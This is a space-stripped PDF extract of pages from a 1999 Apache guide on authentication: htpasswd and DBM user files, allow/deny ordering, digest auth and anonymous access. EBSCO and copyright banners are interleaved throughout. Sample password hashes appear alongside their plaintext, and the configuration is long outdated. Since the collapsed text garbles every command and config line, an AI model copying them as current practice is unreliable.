(forexample,ifyou'veimplementedPUTandwanttolimitPUTsbutnotGETs),andwehavenotuseditinsite.authent.Unfortunately,Apache'sonline
documentationencourageditsinappropriateuse,soitisoftenfoundwhereitshouldn'tbe.
methoddefinesanHTTPmethodseetheHTTP/1.1specificationforacompletelist.Forinstance:
<LimitGETPOST>
directives
</Limit>
ThisdirectivelimitstheapplicationofthedirectivesthatfollowtoscriptsthatusetheGETandPOSTmethods.Generallyspeaking,aswehavesaid,thereislittleneed
touseLimit.Onesituationinwhichyoumightisifyouhadawebsitewheretheclientswereallowedtowritedatatoyourpages:youmightwanttoallow
GET/HEADbutrestrictPUT/DELETE.
Require
require[useruser1user2][groupgroup1group2][validuser]
Directory,.htaccess
Thekeydirectivethatthrowspasswordcheckingintoactionisrequire.
Thelastpossibleargument,validuser,acceptsanyusersthatarefoundinthepasswordfile.Note:Donotmistypethisasvalid_user,oryouwillgeta
hardtoexplainauthorizationfailurewhenyoutrytoaccessthissitethroughabrowser,becauseApachedoesnotcarewhatrubbishyouputafterrequire.It
interpretsvalid_userasausername.ItwouldbeniceifApachereturnedanerrormessage,butrequireisusablebymultiplemodulesandthere'snowayto
determine(inthecurrentAPI)whatvaluesarevalid.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page108
Wecouldsay:
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
requireuserbillbensimon
toallowonlythoseusers,providedtheyalsohavevalidentriesinthepasswordtable,orwecouldsay:
requiregroupcleaners
inwhichcaseonlysoniaanddaphnecanaccessthesite,providedtheyalsohavevalidpasswordsandwehavesetupAuthGroupFileappropriately.
Theblockthatprotects/cgibincouldsafelybeleftoutintheopenasaseparateblock,butsinceprotectionofthe/salesmendirectoryonlyariseswhen
sales.butterthlies.comisaccessed,wemightaswellputtherequiredirectivethere.
Satisfy
satisfy[any|all]
Default:all
Directory,.htaccess
Setsaccesspolicyifbothallowandrequireareused.Theparametercanbeeitherallorany.Thisdirectiveisonlyusefulifaccesstoaparticularareais
beingrestrictedbybothusername/passwordandclienthostaddress.Inthiscase,thedefaultbehavior(all)istorequiretheclienttopasstheaddressaccess
restrictionandenteravalidusernameandpassword.Withtheanyoption,theclientwillbegrantedaccessifiteitherpassesthehostrestrictionorentersavalid
usernameandpassword.Thiscanbeusedtoletclientsfromparticularaddressesintoapasswordrestrictedareawithoutpromptingforapassword.
Forinstance,wewantapasswordfromeveryoneexceptsite1.2.3.4:
<usualauthsetup(realm,filesetc>
requirevaliduser
Satisfyany
orderdeny,allow
allowfrom1.2.3.4
denyfromall
PasswordsUnderUnix
Authenticationofsalespeopleismanagedbythepasswordfileusers,storedin/usr/www/ok_users.Thisissafelyabovethedocumentroot,sothatBadGuyscannot
getatitandmesswithit.ThefileusersismaintainedusingtheApacheutilityhtpasswd.Thesourcecodeforthisutilityistobefoundin
/apache_1.3.1/src/support/htpasswd.c,andwehavetocompileitwith:
%makehtpasswd
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page109
htpasswdnowlinks,andwecansetittowork.Sincewedon'tknowhowitfunctions,theobviousthingistoproditwith:
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
%htpasswd?
Itrespondsthatthecorrectusageis:
htpasswd[c]passwordfileusername
Thecflagcreatesanewfile
Thisseemsperfectlyreasonablebehavior,solet'screateauserbillwiththepassword"theft"(inreallife,youwouldneverusesoobviousapasswordforsucha
characterasBillofthenotoriousButterthliessalesteam,becauseitwouldbesubjecttoadictionaryattack,butthisisnotreallife):
%htpasswdc/ok_users/salesbill
Weareaskedtotypehispasswordtwice,andthejobisdone.Ifwelookinthepasswordfile,thereissomethinglikethefollowing:
bill:$1$Pd$E5BY74CgGStbs.L/fsoEU0
Addsubsequentusers(thecflagcreatesanewfile,soweshouldn'tuseitafterthefirstone):
%htpasswd/ok_users/salesben
Carryonanddothesameforsoniaanddaphne.Wegavethemallthesamepassword,"theft,"tosavehavingtorememberdifferentoneslater.
Thepasswordfile/ok_users/usersnowlookssomethinglikethis:
bill:$1$Pd$E5BY74CgGStbs.L/fsoEU0
ben:$1$/S$hCyzbA05Fu4CA1FK4SxIs0
sonia:$1$KZ$ye9u..7GbCCyrK8eFGU2w.
daphne:$1$3U$CF3Bcec4HzxFWppln6Ai01
Eachusernameisfollowedbyanencryptedpassword.Theyarestoredlikethistoprotectthepasswordsbecause,intheoryatleast,youcannotworkbackwardfrom
theencryptedtotheplaintextversion.IfyoupretendtobeBillandloginusing:
$1$Pd$E5BY74CgGStbs.L/fsoEU0
thepasswordgetsreencrypted,becomessomethinglikeo09klks23O9RM,andfailstomatch.Youcan'ttellbylookingatthisfile(orifyoucan,we'llallbevery
disappointed)thatBill'spasswordisactually"theft."
NotethatthisversionofthefileisasproducedbyexportFreeBSD,soitdoesn'tusethemoreusualDESversionofthecrypt()functioninstead,itusesonebasedon
MD5,sothepasswordstringsmaylookalittlepeculiartoyou.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page110
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
PasswordsUnderWin32
SinceWin32lacksanencryptionfunction,passwordsarestoredinplaintext.Thisisnotverysecure,butonehopesitwillchangeforthebetter.Thepasswordswould
bestoredinthefilenamedbytheAuthUserFiledirective,andBill'sentrywouldbe:
bill:theft
exceptthatinreallifeyouwoulduseabetterpassword.
NewOrderForm
Wewantthistobeourstateoftheart,showcasesite,sowewillemployourorderformforusersandmakeupasimilaroneforsalespeople.Wecopyandeditour
customers'form/main_docs/form_summer.htmltoproduce/main_docs/form_summer_sales.html,reflectingthecynicallanguageusedinternallybythesales
departmentandremovingtherequestforacreditcardnumber:
<html>
<body>
<FORMMETHOD=GETACTION="/cgibin/mycgi.cgi">
<h1>Welcometothegreatripoffof'97:ButterthliesInc</h1>
<p>
Allourworthlesscardsareavailableinpacksof20
at$1.95apack.WHATAFANTASTICDISCOUNT!Thereisanamazing
FURTHER10%discountifyouordermorethan100.
</P>
</p><hr><p>Style2315
<palign=center><imgsrc="bench.jpg"alt="Pictureofabench">
<palign=center>BeBOLDonthebench
<p>Howmanypacksof20doyouwant?
<INPUTNAME="2315_order"TYPE=int>
<hr>
<p>
Style2316
<palign=center>
<imgsrc="hen.jpg"ALT="Pictureofahencooplikeapagoda">
<palign=center>
GetSCRAMBLEDinthehenhouse
<p>Howmanypacksof20doyouwant?
<INPUTNAME="2316_order"TYPE=int>
<HR>
<p>
Style2317
<palign=center>
<imgsrc="tree.jpg"alt="Verynicepictureoftree">
<palign=center>
GetHIGHinthetreehouse
<p>Howmanypacksof20doyouwant?<INPUTNAME="2317_order"TYPE=int>
<hr>
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page111
<p>
Style2318
<palign=center>
<imgsrc="bath.jpg"alt="Ratherpuzzlingpictureofabathtub">
<palign=center>
GetDIRTYinthebath
<p>Howmanypacksof20doyouwant?<INPUTNAME="2318_order"TYPE=int>
<hr>
<palign=right>
PostcardsdesignedbyHarriet@alart.demon.co.uk
<hr>
<br>
ButterthliesInc,HopefulCity,Nevada99999
</br>
<p><INPUTTYPE=submit><INPUTTYPE=reset>
</FORM>
</body>
</html>
Wehavetoedit/site.authent/htdocs/customers/index.html:
<html>
<head>
<title>IndextoButterthliesCatalogs<title>
</head>
<body>
<ul>
<li>
<Ahref="form_summer.html">Summerorderform</A></ul>
<hr>
<br>
ButterthliesInc,HopefulCity,Nevada99999
</br>
</body>
<html>
Andwealsohavetoedit/site.authent/htdocs/salesmen:
<html>
<head>
<title>Salesman'sIndextoButterthliesCatalogs</title>
</head>
<body>
<ul>
<li>
<Ahref="form_summer_sales.html">Summerorderform</A>
</ul>
<hr>
<br>
ButterthliesInc,HopefulCity,Nevada99999
</br>
</body>
</html>
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page112
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Allthisworkssatisfactorily.Whenyouaccesswww.butterthlies.com,yougetthecustomers'orderformasbefore.Whenyougotosales.butterthlies.com,youare
told:
Enterusernamefordarknessatsales.butterthlies.com
Therealmnamedarknesswasspecifiedwhenwesetupthepasswords.Youenterbillandthenhispassword,theft,andthereyouarewiththe
salespeople'sorderform.YoucannowexperimentwithdifferentrequiredirectivesbystoppingApacheandeditingconf/httpd.conf,thenrestartingApache
with./goandlogginginagain.
Youmayfindthatlogginginagainisabitmoreelaboratethanyouwouldthink.WefoundthatNetscapewasannoyinglyhelpfulinrememberingthepasswordusedfor
thelastloginandusingitagain.Tomakesureyouarereallyexercisingthesecurityfeatures,youhavetogetoutofNetscapeeachtimeandreloadittogetafresh
crack.
Youmightliketotrytheeffectof:
#requirevaliduser
#requireuserdaphnebill
requiregroupcleaners
#requiregroupdirectors
or:
#requirevaliduser
requireuserdaphnebill
#requiregroupcleaners
#requiregroupdirectors
DBMFilesonUnix
Althoughsearchingafileofusernamesandpasswordsworksperfectlywell,itisapttoberatherslowoncethelistgetsuptoacoupleofhundredentries.Todealwith
this,Apacheprovidesabetterwayofhandlinglargelists:turningthemintoadatabase.YouneedoneofthemodulesthatappearintheConfigurationfileas:
#Moduledb_auth_modulemod_auth_db.o
Moduledbm_auth_modulemod_auth_dbm.o
Bearinmindthattheycorrespondtodifferentdirectives:AuthDBMUserFileorAuthDBUserFile.APerlscripttomanagebothtypesofdatabase,
dbmmanage,issuppliedwithApachein/src/support.Todecidewhichtypetouse,youneedtodiscoverthecapabilitiesofyourUnix.Explorethesebygoingto
thecommandpromptandtypingfirst:
%mandb
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page113
andthen:
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
%mandbm
Whichevermethodfirstproducesamanpageistheoneyoushoulduse.YoucanalsouseanSQLdatabase,employingMySQLorathirdpartypackagetomanageit.
Onceyouhavedecidedwhichmethodtouse,editConfigurationtoincludetheappropriatemodule,andthentype:
%./Configure
and:
%make
Wenowhavetocreateadatabaseofourusers:bill,ben,sonia,anddaphne.Goto/apache/src/support,findtheutilitydbmmanage,andcopyitinto/usr/local/
binorsomethingsimilartoputitonyourpath.Thisutilitymaybedistributedwithoutexecutepermissionset,so,beforeattemptingtorunit,wemayneedtochange
thepermissions:
%chmod+xdbmmanage
Youmayfind,whenyoufirsttrytorundbmmanage,thatitcomplainsratherpuzzlinglythatsomeunnamedfilecan'tbefound.ThisisprobablyPerl,atexthandling
language,andifyouhavenotinstalledit,youshould.ItmayalsobenecessarytochangethefirstlineofdbmmanagetothecorrectpathforPerl,ifitisinstalled
somewhereotherthan/usr/local/bin.
Weusedbmmanageinthefollowingway:
%dbmmanagedbmfilecommandusername
Thepossiblecommandsareasfollows:
add
adduser
check
delete
import
update
view
So,toaddourfouruserstoafile/usr/www/ok_dbm/users,wetype:
%dbmmange/usr/www/ok_dbm/users.dbadduserbill
Newpassword:theft
Retypenewpassword:theft
UserbilladdedwithpasswordencryptedtovJACUCNeAXaQ2
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page114
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Performthesameserviceforben,sonia,anddaphne.Thefile/usersisnoteditabledirectly,butyoucanseetheresultsbytyping:
%dbmmanage/usr/www/ok_dbm/usersview
bill:vJACUCNeAXaQ2
ben:TPsuNKAtLrLSE
sonia:M9x731z82cfDo
daphne:7DBV6Yx4.vMjc
Youcanbuildagroupfilewithdbmmanage,but,becauseoffaultsinthescriptthatwehopewillhavebeenrectifiedbythetimereadersofthiseditionuseit,the
resultsseemabitodd.Toaddtheuserfredtothegroupcleaners,type:
%dbmmanage/usr/www/okdbm/groupaddfredcleaners
(Note:Donotuseadduser.)dbmmanageratherpuzzlinglyrespondswiththefollowingmessage:
Userfredaddedwithpasswordencryptedtocleaners
Whenwetestthiswith:
%dbmmanage/usr/www/ok_dbm/groupview
wesee:
fred:cleaners
whichiscorrect,becauseinagroupfilethenameofthegroupgoeswheretheencryptedpasswordwouldgoinapasswordfile.
Sincewehaveasimilarfilestructure,weinvokeDBMauthenticationin/conf/httpd.confbycommentingout:
#AuthUserFile/usr/www/ok_users/sales
#AuthGroupFile/usr/www/ok_users/groups
andinserting:
AuthDBMUserFile/usr/www/ok_dbm/sales
AuthDBMGroupFile/usr/www/ok_dbm/sales
AuthDBMGroupFileissettothesamefileastheAuthDBMUserFile.WhathappensisthattheusernamebecomesthekeyintheDBMfile,andthevalue
associatedwiththekeyispassword:group.Tocreateaseparategroupfile,adatabasewithusernamesasthekeyandgroupsasthevalue(withnocolonsin
thevalue)wouldbeneeded.
Order,Allow,andDeny
Sofarwehavedealtwithpotentialusersonanindividualbasis.WecanalsoallowaccessfromordenyaccesstospecificIPaddresses,hostnames,orgroupsof
addressesandhostnames.Thecommandsareallowfromanddenyfrom.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page115
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Theorderinwhichtheallowanddenycommandsareappliedisnotsetbytheorderinwhichtheyappearinyourfile.Thedefaultorderisdenythenallow:if
aclientisexcludedbydeny,itisexcludedunlessitmatchesallow.Ifneitherismatched,theclientisgrantedaccess.
Theorderinwhichthesecommandsisappliedcanbesetbytheorderdirective.
Allowfrom
allowfromhosthost
Directory,.htaccess
Theallowdirectivecontrolsaccesstoadirectory.Theargumenthostcanbeoneofthefollowing:
all
Allhostsareallowedaccess.
A(partial)domainname
Allhostswhosenamesmatchorendinthisstringareallowedaccess.
AfullIPaddress
ThefirstonetothreebytesofanIPaddress,forsubnetrestriction.
Anetwork/netmaskpair
Networka.b.c.dandnetmaskw.x.y.z,togivefinergrainedsubnetcontrol.Forinstance,10.1.0.0/255.255.0.0.
AnetworkCIDRspecification
Thenetmaskconsistsofnnnhighorder1bits.Forinstance,10.1.0.0/16isthesameas10.1.0.0/255.255.0.0.
Allowfromenv
allowfromenv=variablename
Directory,.htaccess
Theallowfromenvdirectivecontrolsaccessbytheexistenceofanamedenvironmentvariable.Forinstance:
BrowserMatch^KnockKnock/2.0let_me_in
<Directory/docroot>
orderdeny,allow
denyfromall
allowfromenv=let_me_in
</Directory>
AccessbyabrowsercalledKnockKnockv2.0setsanenvironmentvariablelet_me_in,whichinturntriggersallowfrom.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page116
Denyfrom
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
denyfromhosthost
Directory,.htaccess
Thedenyfromdirectivecontrolsaccessbyhost.Theargumenthostcanbeoneofthefollowing:
all
Allhostsaredeniedaccess.
A(partial)domainname
Allhostswhosenamesmatchorendinthisstringaredeniedaccess.
AfullIPaddress
ThefirstonetothreebytesofanIPaddress,forsubnetrestriction.
Anetwork/netmaskpair
Networka.b.c.dandnetmaskw.x.y.z,togivefinergrainedsubnetcontrol.Forinstance,10.1.0.0/255.255.0.0.
AnetworkCIDRspecification
Thenetmaskconsistsofnnnhighorder1bits.Forinstance,10.1.0.0/16isthesameas10.1.0.0/255.255.0.0.
Denyfromenv
denyfromenv=variablename
Directory,.htaccess
Thedenyfromenvdirectivecontrolsaccessbytheexistenceofanamedenvironmentvariable.Forinstance:
BrowserMatch^BadRobot/0.9go_away
<Directory/docroot>
orderallow,deny
allowfromall
denyfromgo_away
</Directory>
AccessbyabrowsercalledBadRobotv0.9setsanenvironmentvariablego_away,whichinturntriggersdenyfrom.
Order
orderordering
Directory,.htaccess
Theorderingargumentisoneword(i.e.,itisnotallowedtocontainaspace)andcontrolstheorderinwhichtheforegoingdirectivesareapplied.Iftwoorder
directivesapplytothesamehost,thelastonetobeevaluatedprevails:
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page117
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
deny,allow
Thedenydirectivesareevaluatedbeforetheallowdirectives.
allow,deny
Theallowdirectivesareevaluatedbeforethedenys.
mutualfailure
Hoststhatappearontheallowlistanddonotappearonthedenylistareallowedaccess.
Wecouldsay:
allowfromall
whichletseveryoneinandishardlyworthwriting,orwecouldsay:
allowfrom123.156
denyfromall
Asitstands,thisdenieseveryoneexceptthosewhoseIPaddresseshappentostartwith123.156.Inotherwords,allowisappliedlastandcarriestheday.If,
however,wechangedthedefaultorderbysaying:
orderallow,deny
allowfrom123.156
denyfromall
weeffectivelyclosethesitebecausedenyisnowappliedlast.Itisalsopossibletousedomainnames,sothatinsteadof:
denyfrom123.156.3.5
youcouldsay:
denyfrombadguys.com
AlthoughthishastheadvantageofkeepingupwiththeBadGuysastheymovefromoneIPaddresstoanother,italsoallowsaccessbypeoplewhocontrolthe
reverseDNSmappingfortheirIPaddresses.
AURLcanbepartial.Inthiscase,thematchisdoneonwholewordsfromtheright.Thatis,allowfromfred.comallowsfred.comandabc.fred.com,but
notnotfred.com.
Goodintentions,however,arenotenough:beforeconferringanytrustinasetofaccessrules,youwanttotestthoserulesthoroughlyintheprivacyoftheboudoir.
BoudoirisFrenchfor''aplacewhereyoupout"youmayhavereasontodosobeforeyou'vefinishedwithallthis.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page118
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
DigestAuthentication
Ahalfwayhousebetweencompleteencryptionandnoneatallisdigestauthentication.Theideaisthataonewayhash,ordigest,iscalculatedfromapasswordand
variousotherbitsofinformation.Ratherthansendingthepassword,asisdoneinbasicauthentication,thedigestissent.Attheotherend,thesamefunctionis
calculated:ifthenumbersarenotidentical,somethingiswrongandinthiscase,sinceallotherfactorsshouldbethesame,the"something"mustbethepassword.
DigestauthenticationisappliedinApachetoimprovethesecurityofpasswords.MD5isacryptographichashfunctionwrittenbyRonaldRivestanddistributedfree
byRSADataSecuritywithitshelp,theclientandserverusethehashofthepasswordandotherstuff.Thepointofthisisthatalthoughmanypasswordsleadtothe
samehashvalue,thereisaverysmallchancethatawrongpasswordwillgivetherighthashvalue,ifthehashfunctionisintelligentlychosenitisalsoverydifficultto
constructapasswordleadingtothesamehashvalue(whichiswhythesearesometimesreferredtoasonewayhashes).Theadvantageofusingthehashvalueisthat
thepassworditselfisnotsenttotheserver,soitisn'tvisibletotheBadGuys.Justtomakethingsmoretiresomeforthem,MD5addsafewotherthingsintothemix:
theURI,themethod,andanonce.Anonceissimplyanumberchosenbytheserverandtoldtotheclient,usuallydifferenteachtime.Itensuresthatthedigestis
differenteachtimeandprotectsagainstreplayattacks. Thedigestfunctionlookslikethis:
MD5(MD5(<password>)+":"+<nonce>+":"+MD5(<method>+":"+<uri>))
MD5digestauthenticationcanbeinvokedwiththefollowingline:
AuthTypeDigest
ThisplugsanastyholeintheInternet'ssecurity.Almostunbelievably,theauthenticationproceduresdiscusseduptonowsendtheuser'spasswordincleartextacross
theWeb.ABadGuywhointerceptstheInternettrafficthenknowstheuser'spassword.ThisisaBadThing.So,digestauthenticationworksthisway:
1.TheclientrequestsaURL.
2.BecausethatURLisprotected,theserverreplieswitherror401,"Authenticationrequired,"andamongtheheaders,itsendsanonce.
3.Theclientcombinestheuser'spassword,thenonce,themethod,andtheURL,asdescribedpreviously,thensendstheresultbacktotheserver.Theserver
ThisisamethodinwhichtheBadGuysimplymonitorstheGoodGuy'ssessionandreusestheheadersforhisownaccess.Iftherewerenononce,thiswouldworkeverytime!
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page119
doesthesamethingwiththehashoftheuser'spassword retrievedfromthepasswordfileandchecksthatitsresultmatches.
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Adifferentnonceissentthenexttime,sothattheBadGuycan'tusethecaptureddigesttogainaccess.
MD5digestauthenticationisimplementedinApachefortworeasons.First,itprovidesoneofthetwofullycompliantreferenceHTTP/1.1implementationsrequired
forthestandardtoadvancedownthestandardstracksecond,itprovidesatestbedforbrowserimplementations.Itshouldonlybeusedforexperimentalpurposes,
particularlysinceitmakesnoefforttocheckthatthereturnednonce isthesameastheoneitchoseinthefirstplace.Thismakesitsusceptibletoareplayattack.
Thehttpd.conffileisasfollows:
Userwebuser
Groupwebgroup
ServerNamewww.butterthlies.com
ServerAdminSales@butterthlies.com
DocumentRoot/usr/www/site.digest/htdocs/customers
ErrorLog/usr/www/site.digest/logs/customers/error_log
TransferLog/usr/www/site.digest/logs/customers/access_log
ScriptAlias/cgibin/usr/www/cgibin
<VirtualHostsales.butterthlies.com>
ServerAdminsales_mgr@butterthlies.com
DocumentRoot/usr/www/site.digest/htdocs/salesmen
ServerNamesales.butterthlies.com
ErrorLog/usr/www/site.digest/logs/salesmen/error_log
TransferLog/usr/www/site.digest/logs/salesmen/access_log
ScriptAlias/cgibin/usr/www/cgibin
<Directory/usr/www/site.digest/htdocs/salesmen>
AuthTypeDigest
AuthNamedarkness
AuthDigestFile/usr/www/ok_digest/sales
requirevaliduser
#requiregroupcleaners
</Directory>
</VirtualHost>
GototheConfigurationfile(seeChapter1,GettingStarted).Iftheline:
Moduledigest_modulemod_digest.o
WhichiswhyMD5isappliedtothepassword,aswellastothewholething:theserverthendoesn'thavetostoretheactualpassword,justadigestofit.
Itisunfortunatethatthenoncemustbereturnedaspartoftheclient'sdigestauthenticationheader,butsinceHTTPisastatelessprotocol,thereislittlealternative.Itisevenmore
unfortunatethatApachesimplybelievesit!Anobviouswaytoprotectagainstthisistoincludethetimesomewhereinthenonceandtorefusenoncesolderthansomethreshold.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page120
iscommentedout,uncommentitandremakeApacheasdescribedpreviously.Gotothe
Apachesupportdirectoryandtype:
%makehtdigest
%cphtdigest/usr/local/bin
Thecommandlinesyntaxforhtdigestis:
%htdigest[c]passwordfilerealmuser
Goto/usr/www(orsomeotherappropriatespot)andmaketheok_digestdirectoryand
contents:
%mkdirok_digest
%cdok_digest
%htdigestcsalesdarknessbill
Addingpasswordforuserbillinrealmdarkness.
Newpassword:password
Retypenewpassword:password
%htdigestsalesdarknessben
%htdigestsalesdarknesssonia
%htdigestsalesdarknessdaphne
Digestauthenticationcan,inprinciple,alsousegroupauthentication.However,noneofitworkedwhenwetesteditwithNetscapeNavigatorv4.05.Providedthatthe
line:
LogLeveldebug
appearedintheConfigfile,theerrorlogcontainedthefollowingentry:
clientusedwrongauthenticationscheme
Whetherawebmasterusedthisfacilityornotmightdependonwhetherheorshecouldcontrolwhichbrowserstheclientsused.
AnonymousAccess
Itoftenhappensthateventhoughyouhavepasswordscontrollingtheaccesstocertainthingsonyoursite,youalsowanttoallowgueststocomeandsamplethesite's
joysprobablyareducedsetofjoys,mediatedbytheusernamepassedonbytheclient'sbrowser.TheApachemodulemod_auth_anon.callowsyoutodojust
this.ItshouldbecompiledinautomaticallycheckbylookingatConfiguration.Ifitwasn'tcompiledin,youmaygetthisunnervingerrormessage:
InvalidcommandAnonymous
whenyoutrytoexercisetheAnonymousdirective.TheConfigfile,in/site.anon/conf/httpd.conf,isasfollows:
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page121
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Userwebuser
Groupwebgroup
ServerNamewww.butterthlies.com
IdentityCheckon
NameVirtualHost192.168.123.2
<VirtualHost"target="_BLANK">www.butterthlies.com>
#CookieLoglogs/cookies
ServerAdminsales@butterthlies.com
DocumentRoot/usr/www/site.anon/htdocs/customers
ServerNamewww.butterthlies.com
ErrorLog/usr/www/site.anon/logs/customers/error_log
TransferLog/usr/www/site.anon/logs/access_log
ScriptAlias/cgibin/usr/www/cgibin
</VirtualHost>
<VirtualHostsales.butterthlies.com>
CookieLoglogs/cookies
ServerAdminsales_mgr@butterthlies.com
DocumentRoot/usr/www/site.anon/htdocs/salesmen
ServerNamesales.butterthlies.com
ErrorLog/usr/www/site.anon/logs/error_log
TransferLog/usr/www/site.anon/logs/salesmen/access_log
ScriptAlias/cgibin/usr/www/cgibin
<Directory/usr/www/site.anon/htdocs/salesmen>
AuthTypeBasic
AuthNamedarkness
AuthUserFile/usr/www/ok_users/sales
AuthGroupFile/usr/www/ok_users/groups
requirevaliduser
Anonymous_Authoritativeoff
Anonymousguestanonymousairhead
</Directory>
<Directory/usr/www/cgibin>
AuthTypeBasic
AuthNamedarkness
AuthUserFile/usr/www/ok_users/sales
AuthGroupFile/usr/www/ok_users/groups
#AuthDBMUserFile/usr/www/ok_dbm/sales
#AuthDBMGroupFile/usr/www/ok_dbm/groups
requirevaliduser
</Directory>
</VirtualHost>
Rungoandtryaccessinghttp://sales.butterthlies.com/.Youshouldbeaskedforapasswordintheusualway.Thedifferenceisthatnowyoucanalsogetinby
beingguest,airhead,oranonymous.TheAnonymousdirectivesfollow.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page122
Anonymous
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Anonymoususerid1userid2
TheusercanloginasanyuserIDonthelist,butmustprovidesomethinginthepasswordfieldunlessthatisswitchedoffbyanotherdirective.
Anonymous_NoUserID
Anonymous_NoUserID[on|off]
Default:off
Directory,.htaccess
Ifon,userscanleavetheIDfieldblankbutmustputsomethinginthepasswordfield.
Anonymous_LogEmail
Anonymous_LogEmail[on|off]
Default:on
Directory,.htaccess
Ifon,accessesareloggedto/logs/httpd_logortothelogsetbyTransferLog.
Anonymous_VerifyEmail
Anonymous_VerifyEmail[on|off]
Default:off
Directory,.htaccess
TheuserIDmustcontainatleastone"@"andone"."
Anonymous_Authoritative
Anonymous_Authoritative[on|off]
Default:off
Directory,.htaccess
Ifthisdirectiveisonandtheclientfailsanonymousauthorization,hefailsallauthorization.Ifitisoff,otherauthorizationschemeswillgetacrackathim.
Anonymous_MustGiveEmail
Anonymous_MustGiveEmail[on|off]
Default:on
Directory,.htaccess
TheusermustgiveanemailIDasapassword.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page123
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Experiments
Run./go.Exitfromyourbrowserontheclientmachineandreloadittomakesureitdoespasswordcheckingproperly(youwillprobablyneedtodothiseverytime
